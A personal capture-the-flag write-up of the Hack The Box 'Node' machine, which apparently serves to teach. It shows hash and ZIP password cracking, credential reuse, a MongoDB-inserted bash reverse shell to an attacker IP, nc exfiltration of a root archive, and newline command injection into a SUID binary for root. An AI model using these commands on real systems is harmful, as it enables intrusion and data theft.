Hack The Box - Node Machine Write-up


( I wrote this English version to share my approach with more people. I’m not a native English speaker, so if something sounds weird or the grammar slips, appreciate your understanding. )

node.png

Intro

This machine is not hard. You just need some ability to read JavaScript, and the code is straightforward and easy to follow. This write-up shows exactly how I did it.

Enumeration

Start with an nmap scan.

┌──(samchen㉿kali)-[~/Desktop]
└─$ nmap -sC -sV -p 22,3000 10.129.165.213
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-20 11:25 EDT
Nmap scan report for 10.129.165.213
Host is up (0.061s latency).

PORT     STATE SERVICE            VERSION
22/tcp   open  ssh                OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
|   256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_  256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open  hadoop-tasktracker Apache Hadoop
| hadoop-tasktracker-info: 
|_  Logs: /login
| hadoop-datanode-info: 
|_  Logs: /login
|_http-title: MyPlace
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.84 seconds                                                            


Visiting port 3000 is a site called MYPLACE.

node1.png

Saw a login page.

node2.png

Tried common weak credentials and various SQL injection payloads, and still couldn’t log in.


Opened DevTools and noticed that when the page loads it always requests an API endpoint at /api/user/latest .

node3.png
node4.png

It gave us some credential info, but the is_admin values all looked false. Let’s check /api/user as well.

node5.png

Found another account named myP14ceAdm1nAcc0uNT, and it has admin privileges.


Organized the collected info.

myP14ceAdm1nAcc0uNT:dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af
tom:f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240
mark:de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73
rastating:5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0                                                      

Used hashcat to crack the hashes.

┌──(samchen㉿kali)-[~/Desktop]
└─$ hashcat -m 1400 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --username -O
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-haswell-Intel(R) Core(TM) i9-9900K CPU @ 3.60GHz, 6956/13913 MB (2048 MB allocatable), 8MCU

... 
dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af:manchester
Approaching final keyspace - workload adjusted.           

                                                          
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 1400 (SHA2-256)
Hash.Target......: hashes.txt
Time.Started.....: Mon Oct 20 11:57:57 2025 (4 secs)
Time.Estimated...: Mon Oct 20 11:58:01 2025 (0 secs)
Kernel.Feature...: Optimized Kernel (password length 0-31 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:  3764.7 kH/s (0.48ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 3/4 (75.00%) Digests (total), 1/4 (25.00%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 3094/14344385 (0.02%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: !jonaluz28! -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#01.: Util: 13%
...    

┌──(samchen㉿kali)-[~/Desktop]
└─$ hashcat --show -m 1400 --username hashes.txt                                  
Mixing --show with --username or --dynamic-x can cause exponential delay in output.

myP14ceAdm1nAcc0uNT:dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af:manchester
tom:f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240:spongebob
mark:de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73:snowflake                                                      

Successfully cracked the passwords for tom, mark, and myP14ceAdm1nAcc0uNT.


After trying to log in as those three, only the admin account was allowed to access the control panel.

node6.png

It provided a backup file that we could download directly.


The "backup" was actually a long Base64-encoded file.

┌──(samchen㉿kali)-[~/Desktop]
└─$ cat myplace.backup
UEsDBAoAAAAAABq..........................

┌──(samchen㉿kali)-[~/Desktop]
└─$ base64 -d myplace.backup > urplace           
                                                                                                                                                                                                          
┌──(samchen㉿kali)-[~/Desktop]
└─$ file urplace            
urplace: Zip archive data, made by v3.0 UNIX, extract using at least v1.0, last modified Aug 16 2022 17:08:52, uncompressed size 0, method=store                                                      

The decoding confirmed it was a ZIP archive.


As expected, requires a password to extract.

node7.png

Converted with zip2john to John format, then cracked with John using the rockyou wordlist.

┌──(samchen㉿kali)-[~/Desktop]
└─$ zip2john urplace.zip > zip.hash
vules/debug/README.md PKZIP Encr: TS_chk, cmplen=4659, decmplen=17918, crc=9A65B97E ts=2B73 cs=2b73 type=8
...   
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
                                                                                                                                                                                                          
┌──(samchen㉿kali)-[~/Desktop]
└─$ john zip.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
magicword        (urplace.zip)     
1g 0:00:00:00 DONE (2025-10-20 12:14) 50.00g/s 9830Kp/s 9830Kc/s 9830KC/s sandriux..piggy9
Use the "--show" option to display all of the cracked passwords reliably
Session completed.                                                       

Cracked the password: magicword


After extracting and poking around, I saw MongoDB credentials in app.js, mark/5AYRft73VtFpc84k

node8.png

Used those creds to SSH as mark and the login worked.

node9.png

However, as mark, We did not have permission to read user.txt .

Reverse Shell

Process list showed /var/scheduler/app.js running as tom.

node10.png

Reading the code shows it polls MongoDB every 30 seconds and hands each task’s cmd to the shell via child_process.exec .


So we can insert a task that launches a reverse shell.

mark@node:/home/tom$ mongo -u mark -p '5AYRft73VtFpc84k' scheduler --eval 'db.tasks.insertOne({cmd:"bash -c '\''bash -i >& /dev/tcp/10.10.14.43/2486 0>&1'\''"})'
MongoDB shell version: 3.2.16
connecting to: scheduler
{
        "acknowledged" : true,
        "insertedId" : ObjectId("68f6685210372a1719f27a5e")
}

Then set up a listener on my machine.

nc -lvnp 2486


Waited for the run, got a reverse shell, and grabbed user.txt!

node11.png

Final Privilege Escalation

First, check id

tom@node:/$ id
id
uid=1000(tom) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1002(admin)


SUID enum revealed a suspicious file: /usr/local/bin/backup

node12.png

We’d already seen it earlier in the downloaded backup’s app.js.

...
var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
...

Usage inferred as:

/usr/local/bin/backup -q <key> <Target Path>

Since tom is in the admin group, we can run backup to archive /root and send the archive back to the attacker machine.

tom@node:/usr/local/bin$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root 1>/tmp/root.zip.b64 2>/dev/null 
<33e52b7c740afc3d98a8d0230167104d474 /root 1>/tmp/root.zip.b64 2>/dev/null 

tom@node:/usr/local/bin$ awk '/^UEsDB/{flag=1} flag{print}' /tmp/root.zip.b64 | base64 -d > /tmp/root.zip 
<rint}' /tmp/root.zip.b64 | base64 -d > /tmp/root.zip 

tom@node:/usr/local/bin$ unzip -l /tmp/root.zip 
unzip -l /tmp/root.zip 
Archive:  /tmp/root.zip 
  Length      Date    Time    Name 
---------  ---------- -----   ----                                                                                                                  
     2584  2017-09-02 23:51   root.txt                                                                                                              
---------                     -------                                                                                                               
     2584                     1 file  

tom@node:/tmp$ nc 10.10.14.43 9002 < /tmp/root.zip 
nc 10.10.14.43 9002 < /tmp/root.zip

It also needs a password to extract. Same as before: magicword


Opened it and grabbed root.txt, which turned out to be a troll face. So not that easy.

node13.png


Ran ltrace for some dynamic analysis.

tom@node:/tmp$ ltrace /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root 1>/tmp/root.zip.b64
<52b7c740afc3d98a8d0230167104d474 /root 1>/tmp/root.zip.b64
__libc_start_main(0x80489fd, 4, 0xfff81e14, 0x80492c0 <unfinished ...>
...
strstr("/root", "..") = nil
strstr("/root", "/root") = "/root"
strcpy(..., "Finished! Encoded backup is belo"...)
printf(" ... Finished! Encoded backup is below:\n")
puts("UEsDB...") = 1525
...

When the target includes /root, backup catches it via strstr and outputs a fixed troll face Base64 blob. Never even calls system() .


Tried a path that doesn’t include root.

tom@node:/tmp$ ltrace /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /tmp 1>/tmp/4556.zip.b64
<52b7c740afc3d98a8d0230167104d474 /tmp 1>/tmp/4556.zip.b64
__libc_start_main(0x80489fd, 4, 0xff838454, 0x80492c0 <unfinished ...>
...
strstr("/tmp","/root") = nil
strchr("/tmp",";|&`$") = nil
strstr("/tmp", "/etc") = nil 
sprintf("/tmp/.backup_<rand>", "/tmp/.backup_%i", <rand>)
sprintf("/usr/bin/zip -r -P magicword %s %s > /dev/null", tmp, "/tmp")
system("/usr/bin/zip -r -P magicword /tmp/.backup_<rand> /tmp > /dev/null")
system("/usr/bin/base64 -w0 /tmp/.backup_<rand>")
remove("/tmp/.backup_<rand>")
...

More blacklist characters found: .. ; & ` | \ $ //, plus /root and /etc . Anything outside the blacklist compresses fine. Some characters aren’t filtered at all, such as newline, space, tab, and parentheses.


So just craft a multi-line string. The shell treats the newline as a command separator: the first line runs zip as intended, the next line runs the injected /bin/bash . Since backup is SUID root, that lets us escalate cleanly.

tom@node:/tmp$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 '                                          
/bin/bash                                                                                                                                           
'  
<72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 '
> /bin/bash
> '

zip error: Nothing to do! (/tmp/.backup_57201973)
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.                                                                                                                    
                                                                                                                                                    
root@node:/tmp#


Root shell obtained, grabbed root.txt!

node14.png
node.jpg